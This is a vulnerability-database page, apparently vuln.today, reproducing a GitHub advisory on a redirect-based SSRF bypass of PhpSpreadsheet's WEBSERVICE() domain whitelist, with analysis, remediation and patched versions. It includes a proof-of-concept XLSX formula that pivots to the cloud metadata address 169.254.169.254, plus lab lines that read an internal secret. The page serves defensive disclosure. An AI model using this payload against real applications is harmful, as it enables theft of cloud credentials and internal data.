Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Needs a redirect-capable whitelisted domain outside attacker control (AC:H) and authenticated file upload (PR:L); read-only SSRF pivoting to internal systems gives S:C and C:H, no I/A impact.
Primary rating from Vendor (https://github.com/PHPOffice/PhpSpreadsheet).
CVSS VectorVendor: https://github.com/PHPOffice/PhpSpreadsheet
Lifecycle Timeline
3DescriptionCVE.org
Summary
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
Details
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
// Whitelist check - runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request - follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
PoC
Prerequisites:
- Application uses PhpSpreadsheet >= 5.4.0
- Application calls
$spreadsheet->setDomainWhiteList([...])with at least one domain - Application calls
$cell->getCalculatedValue()on uploaded XLSX files
Attack steps:
- Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
- Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>- Upload the XLSX to the target application. The calculation engine:
- Validates
whitelisted-domain.comagainst the whitelist - passes - Calls
file_get_contents("http://whitelisted-domain.com/redirect?url=...") file_get_contentsfollows the 302 redirect tohttp://169.254.169.254/latest/meta-data/- no re-validation- Returns the cloud metadata response as the cell's calculated value
Lab reproduction:
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access - BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain - BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
Impact
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
- Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via
http://169.254.169.254/ - Access internal services not exposed to the internet
- Port-scan internal networks via any whitelisted hostname (port is not validated)
This is a full-read SSRF - the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios:
- Whitelisted domain has an open redirect vulnerability
- Attacker controls the whitelisted domain (e.g., a free-tier API service)
- DNS rebinding after the whitelist check
Suggested Fix
Disable redirect following in the stream context:
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.
Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.
Related
This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.
Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.
---
Articles & Coverage 1
AnalysisAI
Server-side request forgery in PHPOffice PhpSpreadsheet (>= 4.0.0 through 5.8.0, plus older branches back to 2.0.0) lets an attacker bypass the WEBSERVICE() domain whitelist introduced in 5.4.0 by chaining through an HTTP 302/301 redirect. Because the whitelist only validates the initial URL host while file_get_contents() silently follows redirects without re-validation, an attacker who can upload a crafted XLSX to an app that calls setDomainWhiteList() and getCalculatedValue() can pivot to internal-only targets and read the full HTTP response (up to 32,767 bytes) as a cell value. Publicly available exploit code exists (a full PoC and lab reproduction are in the GitHub advisory); no public exploit identified as actively used in the wild and it is not in CISA KEV.
Technical ContextAI
The flaw lives in Calculation/Web/Service.php, which implements the spreadsheet WEBSERVICE() formula. The intended control (PR #4751, shipped in 5.4.0) parses the target URL with parse_url() and checks the host against an allow-list configured via Spreadsheet::setDomainWhiteList(). The problem is a classic CWE-918 (SSRF): the allow-list is a time-of-check control on the first hop only, while PHP's HTTP stream wrapper (used by file_get_contents with a stream context that omits follow_location) defaults to following up to 20 redirects. The redirect Location target is never re-parsed or re-checked, so a whitelisted host that returns a 3xx redirect becomes an SSRF proxy. A secondary weakness compounds it: the check uses only the hostname and ignores the port, so whitelisting example.com authorizes every port on that host, enabling internal port scanning. Affected packages are all the composer/phpoffice/phpspreadsheet distribution (pkg:composer/phpoffice_phpspreadsheet). This is distinct from prior PhpSpreadsheet SSRFs (CVE-2024-45290/45291, CVE-2025-54370), which were in the Drawing/image-loading path, not the calculation engine.
RemediationAI
Vendor-released patch: upgrade phpoffice/phpspreadsheet to 5.8.1 (or 3.10.7, 2.4.7, 2.1.18 for the corresponding older branches) via composer. The fix (commit 7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d) sets follow_location => 0 in the stream context so redirects are no longer followed, and returns NOT_YET_IMPLEMENTED for empty responses. If you cannot patch immediately, the most effective compensating control is to stop calling getCalculatedValue()/formula evaluation on untrusted uploaded spreadsheets, or disable the WEBSERVICE feature/avoid setDomainWhiteList() usage entirely - trade-off: legitimate WEBSERVICE calls will stop resolving. Where formula evaluation must remain, restrict the whitelist to internal domains you fully control that have no open-redirect endpoints, and add egress network controls (block outbound access from the app server to 169.254.169.254 and RFC1918 ranges) to blunt metadata and internal-service reads - trade-off: may break legitimate outbound integrations. Advisory: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg ; patch commit: https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-49929
GHSA-6hq5-7373-42rg